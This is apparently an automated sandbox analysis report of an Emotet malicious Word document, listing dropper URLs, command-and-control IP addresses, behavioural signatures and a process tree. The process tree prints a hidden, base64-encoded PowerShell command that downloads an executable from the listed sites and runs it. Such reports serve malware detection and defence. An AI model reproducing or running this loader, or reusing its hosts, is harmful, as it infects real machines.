Analysis

  • max time kernel
    130s
  • resource
    win10v191014
  • submitted
    18-12-2019 15:53

General

  • Target

    Docs_7dac2a66623818161fa64d5a660f0c66.3

  • Sample

    191218-m9m54ey5de

  • SHA256

    1d0b57de31383d7eaa7f826998756982034711ada3fd951dae16ca8c338107b2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.meee-designbuild.com/wp-content/vs718/

exe.dropper

https://cardesign-analytics.com/messagelist/wdi9/

exe.dropper

https://www.danytex.com/cgi-bin/c5b2ze315/

exe.dropper

http://nexusfantasy.com/rxmu/eebmh133/

exe.dropper

http://basic.woo-wa.com/lwral/wz87053/

Extracted

Family

emotet

C2

63.248.198.8:80

189.19.81.181:443

130.204.247.253:80

96.126.121.64:443

104.236.137.72:8080

85.234.143.94:8080

51.255.165.160:8080

118.36.70.245:80

190.210.184.138:995

188.135.15.49:80

139.162.118.88:8080

72.29.55.174:80

68.183.170.114:8080

181.231.62.54:80

192.241.146.84:8080

71.76.45.83:443

63.246.252.234:80

37.211.49.127:80

74.59.187.94:80

5.88.27.67:8080

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Executes dropped EXE 4 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_7dac2a66623818161fa64d5a660f0c66.3.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:5028
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABHAHYAZQBwAHkAYwBsAHYAPQAnAEgAcwB3AHIAaAB2AG8AcgBpAGQAbwBsACcAOwAkAEUAdgB6AGkAYwBxAGEAaQB3AHYAbQB0AG8AIAA9ACAAJwAxADUAMwAnADsAJABGAGMAbgByAG4AcABxAGwAegBlAG4APQAnAFoAdQB0AGEAaQBvAHYAeQBlAHEAcAB6ACcAOwAkAE0AegBqAGYAbgBhAGwAagBvAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAdgB6AGkAYwBxAGEAaQB3AHYAbQB0AG8AKwAnAC4AZQB4AGUAJwA7ACQARwB5AG0AdgByAGcAegBzAD0AJwBEAGUAZQByAGgAdwBtAHQAbAB1AHMAbgBrACcAOwAkAE0AcAB4AHgAbABuAGUAagBpAHUAawA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgB3AGUAQgBjAGwASQBlAG4AVAA7ACQASQBlAHYAZQBtAHYAaQBxAGQAbQBnAHcAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AZQBlAGUALQBkAGUAcwBpAGcAbgBiAHUAaQBsAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AHMANwAxADgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAGEAcgBkAGUAcwBpAGcAbgAtAGEAbgBhAGwAeQB0AGkAYwBzAC4AYwBvAG0ALwBtAGUAcwBzAGEAZwBlAGwAaQBzAHQALwB3AGQAaQA5AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAGEAbgB5AHQAZQB4AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYwA1AGIAMgB6AGUAMwAxADUALwAqAGgAdAB0AHAAOgAvAC8AbgBlAHgAdQBzAGYAYQBuAHQAYQBzAHkALgBjAG8AbQAvAHIAeABtAHUALwBlAGUAYgBtAGgAMQAzADMALwAqAGgAdAB0AHAAOgAvAC8AYgBhAHMAaQBjAC4AdwBvAG8ALQB3AGEALgBjAG8AbQAvAGwAdwByAGEAbAAvAHcAegA4ADcAMAA1ADMALwAnAC4AIgBTAGAAUABMAEkAVAAiACgAJwAqACcAKQA7ACQAUABjAHIAYgBsAHgAcgBvAD0AJwBNAG4AaQB2AGQAdQBoAHUAdQB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABKAHgAbwBmAGgAagBsAG0AYQBnAGcAIABpAG4AIAAkAEkAZQB2AGUAbQB2AGkAcQBkAG0AZwB3ACkAewB0AHIAeQB7ACQATQBwAHgAeABsAG4AZQBqAGkAdQBrAC4AIgBEAE8AVwBgAE4AbABPAEEARABGAGAASQBMAGUAIgAoACQASgB4AG8AZgBoAGoAbABtAGEAZwBnACwAIAAkAE0AegBqAGYAbgBhAGwAagBvAGoAKQA7ACQARABxAGkAZAB3AG8AZQBqAHQAbwA9ACcAQwBlAGkAcQBvAGEAbQBwAHIAaAB1AGoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABNAHoAagBmAG4AYQBsAGoAbwBqACkALgAiAEwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADMAMAA3ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQATQB6AGoAZgBuAGEAbABqAG8AagApADsAJABBAGwAdABwAHIAeQBmAHkAYQA9ACcAQgBkAGsAZABxAHkAbwBwAHQAJwA7AGIAcgBlAGEAawA7ACQAUQBmAHUAawBvAHMAdgB3AHoAegA9ACcARAB4AHoAeQBoAHUAdwBmAGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBqAGUAbgByAHcAdQBvAGUAPQAnAFYAbgB2AGgAagBuAGQAZAB0AGgAZAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Users\Admin\153.exe
      "C:\Users\Admin\153.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Users\Admin\153.exe
        --2934414d
        3⤵
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Drops file in System32 directory
        PID:3412
  • C:\Windows\SysWOW64\sitkaappid.exe
    "C:\Windows\SysWOW64\sitkaappid.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\SysWOW64\sitkaappid.exe
      --c33b8cba
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: EmotetMutantsSpam
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Drops file in System32 directory
      PID:656

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/532-14-0x0000000000DA0000-0x0000000000DB7000-memory.dmp

    Filesize

    92KB

  • memory/656-16-0x00000000006D0000-0x00000000006E7000-memory.dmp

    Filesize

    92KB

  • memory/656-17-0x0000000000400000-0x00000000004C1000-memory.dmp

    Filesize

    772KB

  • memory/2844-9-0x0000000002240000-0x0000000002257000-memory.dmp

    Filesize

    92KB

  • memory/3412-11-0x0000000002180000-0x0000000002197000-memory.dmp

    Filesize

    92KB

  • memory/3412-12-0x0000000000400000-0x00000000004C1000-memory.dmp

    Filesize

    772KB

  • memory/5028-2-0x0000023BE9A16000-0x0000023BE9A1F000-memory.dmp

    Filesize

    36KB